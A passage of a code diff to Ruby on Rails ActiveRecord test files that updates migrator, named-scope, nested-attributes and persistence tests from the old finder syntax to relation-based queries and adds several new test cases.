+      assert_equal [[:down, 3], [:down, 2]], calls
+    end
+
+    def test_migrator_one_up_one_down
+      calls, migrations = sensors(3)
+
+      ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+      assert_equal [[:up, 1]], calls
+      calls.clear
+
+      ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+      assert_equal [[:down, 1]], calls
+    end
+
+    def test_migrator_double_up
+      calls, migrations = sensors(3)
+      assert_equal(0, ActiveRecord::Migrator.current_version)
+
+      ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+      assert_equal [[:up, 1]], calls
+      calls.clear
+
+      ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+      assert_equal [], calls
+    end
+
+    def test_migrator_double_down
+      calls, migrations = sensors(3)
+
+      assert_equal(0, ActiveRecord::Migrator.current_version)
+
+      ActiveRecord::Migrator.new(:up, migrations, 1).run
+      assert_equal [[:up, 1]], calls
+      calls.clear
+
+      ActiveRecord::Migrator.new(:down, migrations, 1).run
+      assert_equal [[:down, 1]], calls
+      calls.clear
+
+      ActiveRecord::Migrator.new(:down, migrations, 1).run
+      assert_equal [], calls
+
+      assert_equal(0, ActiveRecord::Migrator.current_version)
+    end
+
+    def test_migrator_verbosity
+      _, migrations = sensors(3)
+
+      ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+      assert_not_equal 0, ActiveRecord::Migration.message_count
+
+      ActiveRecord::Migration.message_count = 0
+
+      ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+      assert_not_equal 0, ActiveRecord::Migration.message_count
+      ActiveRecord::Migration.message_count = 0
+    end
+
+    def test_migrator_verbosity_off
+      _, migrations = sensors(3)
+
+      ActiveRecord::Migration.message_count = 0
+      ActiveRecord::Migration.verbose = false
+      ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+      assert_equal 0, ActiveRecord::Migration.message_count
+      ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+      assert_equal 0, ActiveRecord::Migration.message_count
+    end
+
+    def test_target_version_zero_should_run_only_once
+      calls, migrations = sensors(3)
+
+      # migrate up to 1
+      ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+      assert_equal [[:up, 1]], calls
+      calls.clear
+
+      # migrate down to 0
+      ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+      assert_equal [[:down, 1]], calls
+      calls.clear
+
+      # migrate down to 0 again
+      ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+      assert_equal [], calls
+    end
+
+    def test_migrator_going_down_due_to_version_target
+      calls, migrator = migrator_class(3)
+
+      migrator.up("valid", 1)
+      assert_equal [[:up, 1]], calls
+      calls.clear
+
+      migrator.migrate("valid", 0)
+      assert_equal [[:down, 1]], calls
+      calls.clear
+
+      migrator.migrate("valid")
+      assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
+    end
+
+    def test_migrator_rollback
+      _, migrator = migrator_class(3)
+
+      migrator.migrate("valid")
+      assert_equal(3, ActiveRecord::Migrator.current_version)
+
+      migrator.rollback("valid")
+      assert_equal(2, ActiveRecord::Migrator.current_version)
+
+      migrator.rollback("valid")
+      assert_equal(1, ActiveRecord::Migrator.current_version)
+
+      migrator.rollback("valid")
+      assert_equal(0, ActiveRecord::Migrator.current_version)
+
+      migrator.rollback("valid")
+      assert_equal(0, ActiveRecord::Migrator.current_version)
+    end
+
+    def test_migrator_db_has_no_schema_migrations_table
+      _, migrator = migrator_class(3)
+
+      ActiveRecord::Base.connection.execute("DROP TABLE schema_migrations")
+      refute ActiveRecord::Base.connection.table_exists?('schema_migrations')
+      migrator.migrate("valid", 1)
+      assert ActiveRecord::Base.connection.table_exists?('schema_migrations')
+    end
+
+    def test_migrator_forward
+      _, migrator = migrator_class(3)
+      migrator.migrate("/valid", 1)
+      assert_equal(1, ActiveRecord::Migrator.current_version)
+
+      migrator.forward("/valid", 2)
+      assert_equal(3, ActiveRecord::Migrator.current_version)
+
+      migrator.forward("/valid")
+      assert_equal(3, ActiveRecord::Migrator.current_version)
+    end
+
+    def test_only_loads_pending_migrations
+      # migrate up to 1
+      ActiveRecord::SchemaMigration.create!(:version => '1')
+
+      calls, migrator = migrator_class(3)
+      migrator.migrate("valid", nil)
+
+      assert_equal [[:up, 2], [:up, 3]], calls
+    end
+
+    def test_get_all_versions
+      _, migrator = migrator_class(3)
+
+      migrator.migrate("valid")
+      assert_equal([1,2,3], ActiveRecord::Migrator.get_all_versions)
+
+      migrator.rollback("valid")
+      assert_equal([1,2], ActiveRecord::Migrator.get_all_versions)
+
+      migrator.rollback("valid")
+      assert_equal([1], ActiveRecord::Migrator.get_all_versions)
+
+      migrator.rollback("valid")
+      assert_equal([], ActiveRecord::Migrator.get_all_versions)
+    end
+
+    private
+    def m(name, version, &block)
+      x = Sensor.new name, version
+      x.extend(Module.new {
+        define_method(:up) { block.call(:up, x); super() }
+        define_method(:down) { block.call(:down, x); super() }
+      }) if block_given?
+    end
+
+    def sensors(count)
+      calls = []
+      migrations = count.times.map { |i|
+        m(nil, i + 1) { |c,migration|
+          calls << [c, migration.version]
+        }
+      }
+      [calls, migrations]
+    end
+
+    def migrator_class(count)
+      calls, migrations = sensors(count)
+
+      migrator = Class.new(Migrator).extend(Module.new {
+        define_method(:migrations) { |paths|
+          migrations
+        }
+      })
+      [calls, migrator]
+    end
+  end
+end
diff --git a/activerecord/test/cases/modules_test.rb b/activerecord/test/cases/modules_test.rb
index a2041af16a..08b3408665 100644
--- a/activerecord/test/cases/modules_test.rb
+++ b/activerecord/test/cases/modules_test.rb
@@ -27,19 +27,19 @@ class ModulesTest < ActiveRecord::TestCase
   end
 
   def test_module_spanning_associations
-    firm = MyApplication::Business::Firm.find(:first)
+    firm = MyApplication::Business::Firm.first
     assert !firm.clients.empty?, "Firm should have clients"
     assert_nil firm.class.table_name.match('::'), "Firm shouldn't have the module appear in its table name"
   end
 
   def test_module_spanning_has_and_belongs_to_many_associations
-    project = MyApplication::Business::Project.find(:first)
+    project = MyApplication::Business::Project.first
     project.developers << MyApplication::Business::Developer.create("name" => "John")
     assert_equal "John", project.developers.last.name
   end
 
   def test_associations_spanning_cross_modules
-    account = MyApplication::Billing::Account.find(:first, :order => 'id')
+    account = MyApplication::Billing::Account.all.merge!(:order => 'id').first
     assert_kind_of MyApplication::Business::Firm, account.firm
     assert_kind_of MyApplication::Billing::Firm, account.qualified_billing_firm
     assert_kind_of MyApplication::Billing::Firm, account.unqualified_billing_firm
@@ -48,7 +48,7 @@ class ModulesTest < ActiveRecord::TestCase
   end
 
   def test_find_account_and_include_company
-    account = MyApplication::Billing::Account.find(1, :include => :firm)
+    account = MyApplication::Billing::Account.all.merge!(:includes => :firm).find(1)
     assert_kind_of MyApplication::Business::Firm, account.firm
   end
 
@@ -72,8 +72,8 @@ class ModulesTest < ActiveRecord::TestCase
     clients = []
 
     assert_nothing_raised NameError, "Should be able to resolve all class constants via reflection" do
-      clients << MyApplication::Business::Client.find(3, :include => {:firm => :account}, :conditions => 'accounts.id IS NOT NULL')
-      clients << MyApplication::Business::Client.find(3, :include => {:firm => :account})
+      clients << MyApplication::Business::Client.references(:accounts).merge!(:includes => {:firm => :account}, :where => 'accounts.id IS NOT NULL').find(3)
+      clients << MyApplication::Business::Client.includes(:firm => :account).find(3)
     end
 
     clients.each do |client|
@@ -123,7 +123,7 @@ class ModulesTest < ActiveRecord::TestCase
     old = ActiveRecord::Base.store_full_sti_class
     ActiveRecord::Base.store_full_sti_class = true
 
-    collection = Shop::Collection.find(:first)
+    collection = Shop::Collection.first
     assert !collection.products.empty?, "Collection should have products"
     assert_nothing_raised { collection.destroy }
   ensure
@@ -134,7 +134,7 @@ class ModulesTest < ActiveRecord::TestCase
     old = ActiveRecord::Base.store_full_sti_class
     ActiveRecord::Base.store_full_sti_class = true
 
-    product = Shop::Product.find(:first)
+    product = Shop::Product.first
     assert !product.variants.empty?, "Product should have variants"
     assert_nothing_raised { product.destroy }
   ensure
diff --git a/activerecord/test/cases/multiple_db_test.rb b/activerecord/test/cases/multiple_db_test.rb
index bd51388e05..42461e8ecb 100644
--- a/activerecord/test/cases/multiple_db_test.rb
+++ b/activerecord/test/cases/multiple_db_test.rb
@@ -1,15 +1,14 @@
 require "cases/helper"
 require 'models/entrant'
 require 'models/bird'
-
-# So we can test whether Course.connection survives a reload.
-require_dependency 'models/course'
+require 'models/course'
 
 class MultipleDbTest < ActiveRecord::TestCase
   self.use_transactional_fixtures = false
 
   def setup
     @courses  = create_fixtures("courses") { Course.retrieve_connection }
+    @colleges = create_fixtures("colleges") { College.retrieve_connection }
     @entrants = create_fixtures("entrants")
   end
 
@@ -85,7 +84,25 @@ class MultipleDbTest < ActiveRecord::TestCase
   end
 
   def test_arel_table_engines
+    assert_not_equal Entrant.arel_engine, Bird.arel_engine
     assert_not_equal Entrant.arel_engine, Course.arel_engine
-    assert_equal Entrant.arel_engine, Bird.arel_engine
+  end
+
+  def test_connection
+    assert_equal Entrant.arel_engine.connection, Bird.arel_engine.connection
+    assert_not_equal Entrant.arel_engine.connection, Course.arel_engine.connection
+  end
+
+  unless in_memory_db?
+    def test_associations_should_work_when_model_has_no_connection
+      begin
+        ActiveRecord::Model.remove_connection
+        assert_nothing_raised ActiveRecord::ConnectionNotEstablished do
+          College.first.courses.first
+        end
+      ensure
+        ActiveRecord::Model.establish_connection 'arunit'
+      end
+    end
   end
 end
diff --git a/activerecord/test/cases/named_scope_test.rb b/activerecord/test/cases/named_scope_test.rb
index 4a09a87322..bd121126e7 100644
--- a/activerecord/test/cases/named_scope_test.rb
+++ b/activerecord/test/cases/named_scope_test.rb
@@ -1,5 +1,4 @@
 require "cases/helper"
-require 'active_support/core_ext/array/random_access'
 require 'models/post'
 require 'models/topic'
 require 'models/comment'
@@ -11,16 +10,15 @@ class NamedScopeTest < ActiveRecord::TestCase
   fixtures :posts, :authors, :topics, :comments, :author_addresses
 
   def test_implements_enumerable
-    assert !Topic.find(:all).empty?
+    assert !Topic.all.empty?
 
-    assert_equal Topic.find(:all),   Topic.base
-    assert_equal Topic.find(:all),   Topic.base.to_a
-    assert_equal Topic.find(:first), Topic.base.first
-    assert_equal Topic.find(:all),   Topic.base.map { |i| i }
+    assert_equal Topic.all.to_a, Topic.base
+    assert_equal Topic.all.to_a, Topic.base.to_a
+    assert_equal Topic.first,    Topic.base.first
+    assert_equal Topic.all.to_a, Topic.base.map { |i| i }
   end
 
   def test_found_items_are_cached
-    Topic.columns
     all_posts = Topic.base
 
     assert_queries(1) do
@@ -31,7 +29,7 @@ class NamedScopeTest < ActiveRecord::TestCase
 
   def test_reload_expires_cache_of_found_items
     all_posts = Topic.base
-    all_posts.all
+    all_posts.to_a
 
     new_post = Topic.create!
     assert !all_posts.include?(new_post)
@@ -39,14 +37,23 @@ class NamedScopeTest < ActiveRecord::TestCase
   end
 
   def test_delegates_finds_and_calculations_to_the_base_class
-    assert !Topic.find(:all).empty?
+    assert !Topic.all.empty?
 
-    assert_equal Topic.find(:all),               Topic.base.find(:all)
-    assert_equal Topic.find(:first),             Topic.base.find(:first)
-    assert_equal Topic.count,                    Topic.base.count
+    assert_equal Topic.all.to_a,                Topic.base.to_a
+    assert_equal Topic.first,                   Topic.base.first
+    assert_equal Topic.count,                   Topic.base.count
     assert_equal Topic.average(:replies_count), Topic.base.average(:replies_count)
   end
 
+  def test_method_missing_priority_when_delegating
+    klazz = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+      scope :since, Proc.new { where('written_on >= ?', Time.now - 1.day) }
+      scope :to,    Proc.new { where('written_on <= ?', Time.now) }
+    end
+    assert_equal klazz.to.since.to_a, klazz.since.to.to_a
+  end
+
   def test_scope_should_respond_to_own_methods_and_methods_of_the_proxy
     assert Topic.approved.respond_to?(:limit)
     assert Topic.approved.respond_to?(:count)
@@ -59,10 +66,10 @@ class NamedScopeTest < ActiveRecord::TestCase
   end
 
   def test_scopes_with_options_limit_finds_to_those_matching_the_criteria_specified
-    assert !Topic.find(:all, :conditions => {:approved => true}).empty?
+    assert !Topic.all.merge!(:where => {:approved => true}).to_a.empty?
 
-    assert_equal Topic.find(:all, :conditions => {:approved => true}), Topic.approved
-    assert_equal Topic.count(:conditions => {:approved => true}), Topic.approved.count
+    assert_equal Topic.all.merge!(:where => {:approved => true}).to_a, Topic.approved
+    assert_equal Topic.where(:approved => true).count, Topic.approved.count
   end
 
   def test_scopes_with_string_name_can_be_composed
@@ -71,13 +78,9 @@ class NamedScopeTest < ActiveRecord::TestCase
     assert_equal Topic.replied.approved, Topic.replied.approved_as_string
   end
 
-  def test_scopes_can_be_specified_with_deep_hash_conditions
-    assert_equal Topic.replied.approved, Topic.replied.approved_as_hash_condition
-  end
-
   def test_scopes_are_composable
-    assert_equal((approved = Topic.find(:all, :conditions => {:approved => true})), Topic.approved)
-    assert_equal((replied = Topic.find(:all, :conditions => 'replies_count > 0')), Topic.replied)
+    assert_equal((approved = Topic.all.merge!(:where => {:approved => true}).to_a), Topic.approved)
+    assert_equal((replied = Topic.all.merge!(:where => 'replies_count > 0').to_a), Topic.replied)
     assert !(approved == replied)
     assert !(approved & replied).empty?
 
@@ -85,8 +88,8 @@ class NamedScopeTest < ActiveRecord::TestCase
   end
 
   def test_procedural_scopes
-    topics_written_before_the_third = Topic.find(:all, :conditions => ['written_on < ?', topics(:third).written_on])
-    topics_written_before_the_second = Topic.find(:all, :conditions => ['written_on < ?', topics(:second).written_on])
+    topics_written_before_the_third = Topic.where('written_on < ?', topics(:third).written_on)
+    topics_written_before_the_second = Topic.where('written_on < ?', topics(:second).written_on)
     assert_not_equal topics_written_before_the_second, topics_written_before_the_third
 
     assert_equal topics_written_before_the_third, Topic.written_before(topics(:third).written_on)
@@ -94,46 +97,17 @@ class NamedScopeTest < ActiveRecord::TestCase
   end
 
   def test_procedural_scopes_returning_nil
-    all_topics = Topic.find(:all)
+    all_topics = Topic.all
 
     assert_equal all_topics, Topic.written_before(nil)
   end
 
-  def test_scopes_with_joins
-    address = author_addresses(:david_address)
-    posts_with_authors_at_address = Post.find(
-      :all, :joins => 'JOIN authors ON authors.id = posts.author_id',
-      :conditions => [ 'authors.author_address_id = ?', address.id ]
-    )
-    assert_equal posts_with_authors_at_address, Post.with_authors_at_address(address)
-  end
-
-  def test_scopes_with_joins_respects_custom_select
-    address = author_addresses(:david_address)
-    posts_with_authors_at_address_titles = Post.find(:all,
-      :select => 'title',
-      :joins => 'JOIN authors ON authors.id = posts.author_id',
-      :conditions => [ 'authors.author_address_id = ?', address.id ]
-    )
-    assert_equal posts_with_authors_at_address_titles.map(&:title), Post.with_authors_at_address(address).find(:all, :select => 'title').map(&:title)
-  end
-
   def test_scope_with_object
     objects = Topic.with_object
     assert_operator objects.length, :>, 0
     assert objects.all?(&:approved?), 'all objects should be approved'
   end
 
-  def test_extensions
-    assert_equal 1, Topic.anonymous_extension.one
-    assert_equal 2, Topic.named_extension.two
-  end
-
-  def test_multiple_extensions
-    assert_equal 2, Topic.multiple_extensions.extension_two
-    assert_equal 1, Topic.multiple_extensions.extension_one
-  end
-
   def test_has_many_associations_have_access_to_scopes
     assert_not_equal Post.containing_the_letter_a, authors(:david).posts
     assert !Post.containing_the_letter_a.empty?
@@ -164,20 +138,16 @@ class NamedScopeTest < ActiveRecord::TestCase
   end
 
   def test_active_records_have_scope_named__all__
-    assert !Topic.find(:all).empty?
+    assert !Topic.all.empty?
 
-    assert_equal Topic.find(:all), Topic.base
+    assert_equal Topic.all.to_a, Topic.base
   end
 
   def test_active_records_have_scope_named__scoped__
-    assert !Topic.find(:all, scope = {:conditions => "content LIKE '%Have%'"}).empty?
-
-    assert_equal Topic.find(:all, scope), Topic.scoped(scope)
-  end
+    scope = Topic.where("content LIKE '%Have%'")
+    assert !scope.empty?
 
-  def test_first_and_last_should_support_find_options
-    assert_equal Topic.base.first(:order => 'title'), Topic.base.find(:first, :order => 'title')
-    assert_equal Topic.base.last(:order => 'title'), Topic.base.find(:last, :order => 'title')
+    assert_equal scope, Topic.all.merge!(where: "content LIKE '%Have%'")
   end
 
   def test_first_and_last_should_allow_integers_for_limit
@@ -194,15 +164,6 @@ class NamedScopeTest < ActiveRecord::TestCase
     end
   end
 
-  def test_first_and_last_find_options_should_use_query_when_results_are_loaded
-    topics = Topic.base
-    topics.reload # force load
-    assert_queries(2) do
-      topics.first(:order => 'title')
-      topics.last(:order => 'title')
-    end
-  end
-
   def test_empty_should_not_load_results
     topics = Topic.base
     assert_queries(2) do
@@ -265,9 +226,9 @@ class NamedScopeTest < ActiveRecord::TestCase
   end
 
   def test_many_should_return_false_if_none_or_one
-    topics = Topic.base.scoped(:conditions => {:id => 0})
+    topics = Topic.base.where(:id => 0)
     assert !topics.many?
-    topics = Topic.base.scoped(:conditions => {:id => 1})
+    topics = Topic.base.where(:id => 1)
     assert !topics.many?
   end
 
@@ -319,7 +280,7 @@ class NamedScopeTest < ActiveRecord::TestCase
   end
 
   def test_should_use_where_in_query_for_scope
-    assert_equal Developer.find_all_by_name('Jamis').to_set, Developer.find_all_by_id(Developer.jamises).to_set
+    assert_equal Developer.where(name: 'Jamis').to_set, Developer.where(id: Developer.jamises).to_set
   end
 
   def test_size_should_use_count_when_results_are_not_loaded
@@ -337,10 +298,15 @@ class NamedScopeTest < ActiveRecord::TestCase
     end
   end
 
+  def test_should_not_duplicates_where_values
+    where_values = Topic.where("1=1").scope_with_lambda.where_values
+    assert_equal ["1=1"], where_values
+  end
+
   def test_chaining_with_duplicate_joins
     join = "INNER JOIN comments ON comments.post_id = posts.id"
     post = Post.find(1)
-    assert_equal post.comments.size, Post.scoped(:joins => join).scoped(:joins => join, :conditions => "posts.id = #{post.id}").size
+    assert_equal post.comments.size, Post.joins(join).joins(join).where("posts.id = #{post.id}").size
   end
 
   def test_chaining_should_use_latest_conditions_when_creating
@@ -359,14 +325,14 @@ class NamedScopeTest < ActiveRecord::TestCase
 
   def test_chaining_should_use_latest_conditions_when_searching
     # Normal hash conditions
-    assert_equal Topic.where(:approved => true).to_a, Topic.rejected.approved.all
-    assert_equal Topic.where(:approved => false).to_a, Topic.approved.rejected.all
+    assert_equal Topic.where(:approved => true).to_a, Topic.rejected.approved.to_a
+    assert_equal Topic.where(:approved => false).to_a, Topic.approved.rejected.to_a
 
     # Nested hash conditions with same keys
-    assert_equal [posts(:sti_comments)], Post.with_special_comments.with_very_special_comments.all
+    assert_equal [posts(:sti_comments)], Post.with_special_comments.with_very_special_comments.to_a
 
     # Nested hash conditions with different keys
-    assert_equal [posts(:sti_comments)], Post.with_special_comments.with_post(4).all.uniq
+    assert_equal [posts(:sti_comments)], Post.with_special_comments.with_post(4).to_a.uniq
   end
 
   def test_scopes_batch_finders
@@ -385,32 +351,13 @@ class NamedScopeTest < ActiveRecord::TestCase
 
   def test_table_names_for_chaining_scopes_with_and_without_table_name_included
     assert_nothing_raised do
-      Comment.for_first_post.for_first_author.all
-    end
-  end
-
-  def test_scopes_with_reserved_names
-    class << Topic
-      def public_method; end
-      public :public_method
-
-      def protected_method; end
-      protected :protected_method
-
-      def private_method; end
-      private :private_method
-    end
-
-    [:public_method, :protected_method, :private_method].each do |reserved_method|
-      assert Topic.respond_to?(reserved_method, true)
-      ActiveRecord::Base.logger.expects(:warn)
-      Topic.scope(reserved_method)
+      Comment.for_first_post.for_first_author.to_a
     end
   end
 
   def test_scopes_on_relations
     # Topic.replied
-    approved_topics = Topic.scoped.approved.order('id DESC')
+    approved_topics = Topic.all.approved.order('id DESC')
     assert_equal topics(:fourth), approved_topics.first
 
     replied_approved_topics = approved_topics.replied
@@ -425,7 +372,7 @@ class NamedScopeTest < ActiveRecord::TestCase
 
   def test_nested_scopes_queries_size
     assert_queries(1) do
-      Topic.approved.by_lifo.replied.written_before(Time.now).all
+      Topic.approved.by_lifo.replied.written_before(Time.now).to_a
     end
   end
 
@@ -436,8 +383,8 @@ class NamedScopeTest < ActiveRecord::TestCase
     post = posts(:welcome)
 
     Post.cache do
-      assert_queries(1) { post.comments.containing_the_letter_e.all }
-      assert_no_queries { post.comments.containing_the_letter_e.all }
+      assert_queries(1) { post.comments.containing_the_letter_e.to_a }
+      assert_no_queries { post.comments.containing_the_letter_e.to_a }
     end
   end
 
@@ -445,14 +392,14 @@ class NamedScopeTest < ActiveRecord::TestCase
     post = posts(:welcome)
 
     Post.cache do
-      one = assert_queries(1) { post.comments.limit_by(1).all }
+      one = assert_queries(1) { post.comments.limit_by(1).to_a }
       assert_equal 1, one.size
 
-      two = assert_queries(1) { post.comments.limit_by(2).all }
+      two = assert_queries(1) { post.comments.limit_by(2).to_a }
       assert_equal 2, two.size
 
-      assert_no_queries { post.comments.limit_by(1).all }
-      assert_no_queries { post.comments.limit_by(2).all }
+      assert_no_queries { post.comments.limit_by(1).to_a }
+      assert_no_queries { post.comments.limit_by(2).to_a }
     end
   end
 
@@ -479,42 +426,24 @@ class NamedScopeTest < ActiveRecord::TestCase
       require "models/without_table"
     end
   end
-end
-
-class DynamicScopeMatchTest < ActiveRecord::TestCase
-  def test_scoped_by_no_match
-    assert_nil ActiveRecord::DynamicScopeMatch.match("not_scoped_at_all")
-  end
-
-  def test_scoped_by
-    match = ActiveRecord::DynamicScopeMatch.match("scoped_by_age_and_sex_and_location")
-    assert_not_nil match
-    assert match.scope?
-    assert_equal %w(age sex location), match.attribute_names
-  end
-end
 
-class DynamicScopeTest < ActiveRecord::TestCase
-  fixtures :posts
+  def test_eager_scopes_are_deprecated
+    klass = Class.new(ActiveRecord::Base)
+    klass.table_name = 'posts'
 
-  def setup
-    @test_klass = Class.new(Post) do
-      def self.name; "Post"; end
+    assert_deprecated do
+      klass.scope :welcome_2, klass.where(:id => posts(:welcome).id)
     end
+    assert_equal [posts(:welcome).title], klass.welcome_2.map(&:title)
   end
 
-  def test_dynamic_scope
-    assert_equal @test_klass.scoped_by_author_id(1).find(1), @test_klass.find(1)
-    assert_equal @test_klass.scoped_by_author_id_and_title(1, "Welcome to the weblog").first, @test_klass.find(:first, :conditions => { :author_id => 1, :title => "Welcome to the weblog"})
-  end
+  def test_eager_default_scope_relations_are_deprecated
+    klass = Class.new(ActiveRecord::Base)
+    klass.table_name = 'posts'
 
-  def test_dynamic_scope_should_create_methods_after_hitting_method_missing
-    assert_blank @test_klass.methods.grep(/scoped_by_type/)
-    @test_klass.scoped_by_type(nil)
-    assert_present @test_klass.methods.grep(/scoped_by_type/)
-  end
-
-  def test_dynamic_scope_with_less_number_of_arguments
-    assert_raise(ArgumentError){ @test_klass.scoped_by_author_id_and_title(1) }
+    assert_deprecated do
+      klass.send(:default_scope, klass.where(:id => posts(:welcome).id))
+    end
+    assert_equal [posts(:welcome).title], klass.all.map(&:title)
   end
 end
diff --git a/activerecord/test/cases/nested_attributes_test.rb b/activerecord/test/cases/nested_attributes_test.rb
index 2ae9cb4888..3a234f0cc1 100644
--- a/activerecord/test/cases/nested_attributes_test.rb
+++ b/activerecord/test/cases/nested_attributes_test.rb
@@ -172,6 +172,19 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase
     man.interests_attributes = [{:id => interest.id, :topic => 'gardening'}]
     assert_equal man.interests.first.topic, man.interests[0].topic
   end
+
+  def test_allows_class_to_override_setter_and_call_super
+    mean_pirate_class = Class.new(Pirate) do
+      accepts_nested_attributes_for :parrot
+      def parrot_attributes=(attrs)
+        super(attrs.merge(:color => "blue"))
+      end
+    end
+    mean_pirate = mean_pirate_class.new
+    mean_pirate.parrot_attributes = { :name => "James" }
+    assert_equal "James", mean_pirate.parrot.name
+    assert_equal "blue", mean_pirate.parrot.color
+  end
 end
 
 class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
@@ -183,7 +196,7 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
   end
 
   def test_should_raise_argument_error_if_trying_to_build_polymorphic_belongs_to
-    assert_raise_with_message ArgumentError, "Cannot build association looter. Are you trying to build a polymorphic one-to-one association?" do
+    assert_raise_with_message ArgumentError, "Cannot build association `looter'. Are you trying to build a polymorphic one-to-one association?" do
       Treasure.new(:name => 'pearl', :looter_attributes => {:catchphrase => "Arrr"})
     end
   end
@@ -663,7 +676,7 @@ module NestedAttributesOnACollectionAssociationTests
   end
 
   def test_should_sort_the_hash_by_the_keys_before_building_new_associated_models
-    attributes = ActiveSupport::OrderedHash.new
+    attributes = {}
     attributes['123726353'] = { :name => 'Grace OMalley' }
     attributes['2'] = { :name => 'Privateers Greed' } # 2 is lower then 123726353
     @pirate.send(association_setter, attributes)
@@ -673,7 +686,7 @@ module NestedAttributesOnACollectionAssociationTests
 
   def test_should_raise_an_argument_error_if_something_else_than_a_hash_is_passed
     assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, {}) }
-    assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, ActiveSupport::OrderedHash.new) }
+    assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, Hash.new) }
 
     assert_raise_with_message ArgumentError, 'Hash or Array expected, got String ("foo")' do
       @pirate.send(association_setter, "foo")
@@ -768,6 +781,16 @@ module NestedAttributesOnACollectionAssociationTests
     assert_nothing_raised(NoMethodError) { @pirate.save! }
   end
 
+  def test_numeric_colum_changes_from_zero_to_no_empty_string
+    Man.accepts_nested_attributes_for(:interests)
+    Interest.validates_numericality_of(:zine_id)
+    man = Man.create(:name => 'John')
+    interest = man.interests.create(:topic=>'bar',:zine_id => 0)
+    assert  interest.save
+
+    assert  !man.update_attributes({:interests_attributes => { :id => interest.id, :zine_id => 'foo' }})
+  end
+
   private
 
   def association_setter
diff --git a/activerecord/test/cases/persistence_test.rb b/activerecord/test/cases/persistence_test.rb
index adfd8e83a1..72b8219782 100644
--- a/activerecord/test/cases/persistence_test.rb
+++ b/activerecord/test/cases/persistence_test.rb
@@ -13,12 +13,14 @@ require 'models/warehouse_thing'
 require 'models/parrot'
 require 'models/minivan'
 require 'models/person'
+require 'models/pet'
+require 'models/toy'
 require 'rexml/document'
 require 'active_support/core_ext/exception'
 
 class PersistencesTest < ActiveRecord::TestCase
 
-  fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts, :minivans
+  fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts, :minivans, :pets, :toys
 
   # Oracle UPDATE does not support ORDER BY
   unless current_adapter?(:OracleAdapter)
@@ -53,7 +55,7 @@ class PersistencesTest < ActiveRecord::TestCase
       author = authors(:david)
       assert_nothing_raised do
         assert_equal 1, author.posts_sorted_by_id_limited.size
-        assert_equal 2, author.posts_sorted_by_id_limited.find(:all, :limit => 2).size
+        assert_equal 2, author.posts_sorted_by_id_limited.limit(2).to_a.size
         assert_equal 1, author.posts_sorted_by_id_limited.update_all([ "body = ?", "bulk update!" ])
         assert_equal "bulk update!", posts(:welcome).body
         assert_not_equal "bulk update!", posts(:thinking).body
@@ -76,10 +78,20 @@ class PersistencesTest < ActiveRecord::TestCase
     assert_equal Topic.count, Topic.delete_all
   end
 
-  def test_update_by_condition
-    Topic.update_all "content = 'bulk updated!'", ["approved = ?", true]
-    assert_equal "Have a nice day", Topic.find(1).content
-    assert_equal "bulk updated!", Topic.find(2).content
+  def test_delete_all_with_joins_and_where_part_is_hash
+    where_args = {:toys => {:name => 'Bone'}}
+    count = Pet.joins(:toys).where(where_args).count
+
+    assert_equal count, 1
+    assert_equal count, Pet.joins(:toys).where(where_args).delete_all
+  end
+
+  def test_delete_all_with_joins_and_where_part_is_not_hash
+    where_args = ['toys.name = ?', 'Bone']
+    count = Pet.joins(:toys).where(where_args).count
+
+    assert_equal count, 1
+    assert_equal count, Pet.joins(:toys).where(where_args).delete_all
   end
 
   def test_increment_attribute
@@ -108,7 +120,7 @@ class PersistencesTest < ActiveRecord::TestCase
 
   def test_destroy_all
     conditions = "author_name = 'Mary'"
-    topics_by_mary = Topic.all(:conditions => conditions, :order => 'id')
+    topics_by_mary = Topic.all.merge!(:where => conditions, :order => 'id').to_a
     assert ! topics_by_mary.empty?
 
     assert_difference('Topic.count', -topics_by_mary.size) do
@@ -119,7 +131,7 @@ class PersistencesTest < ActiveRecord::TestCase
   end
 
   def test_destroy_many
-    clients = Client.find([2, 3], :order => 'id')
+    clients = Client.all.merge!(:order => 'id').find([2, 3])
 
     assert_difference('Client.count', -2) do
       destroyed = Client.destroy([2, 3]).sort_by(&:id)
@@ -293,6 +305,13 @@ class PersistencesTest < ActiveRecord::TestCase
     assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
   end
 
+  def test_destroy!
+    topic = Topic.find(1)
+    assert_equal topic, topic.destroy!, 'topic.destroy! did not return self'
+    assert topic.frozen?, 'topic not frozen after destroy!'
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
+  end
+
   def test_record_not_found_exception
     assert_raise(ActiveRecord::RecordNotFound) { Topic.find(99999) }
   end
@@ -320,7 +339,7 @@ class PersistencesTest < ActiveRecord::TestCase
   end
 
   def test_update_all_with_non_standard_table_name
-    assert_equal 1, WarehouseThing.update_all(['value = ?', 0], ['id = ?', 1])
+    assert_equal 1, WarehouseThing.where(id: 1).update_all(['value = ?', 0])
     assert_equal 0, WarehouseThing.find(1).value
   end
 
@@ -352,72 +371,10 @@ class PersistencesTest < ActiveRecord::TestCase
     assert_raise(ActiveSupport::FrozenObjectError) { client.name = "something else" }
   end
 
-  def test_update_attribute
-    assert !Topic.find(1).approved?
-    Topic.find(1).update_attribute("approved", true)
-    assert Topic.find(1).approved?
-
-    Topic.find(1).update_attribute(:approved, false)
-    assert !Topic.find(1).approved?
-  end
-
   def test_update_attribute_does_not_choke_on_nil
     assert Topic.find(1).update_attributes(nil)
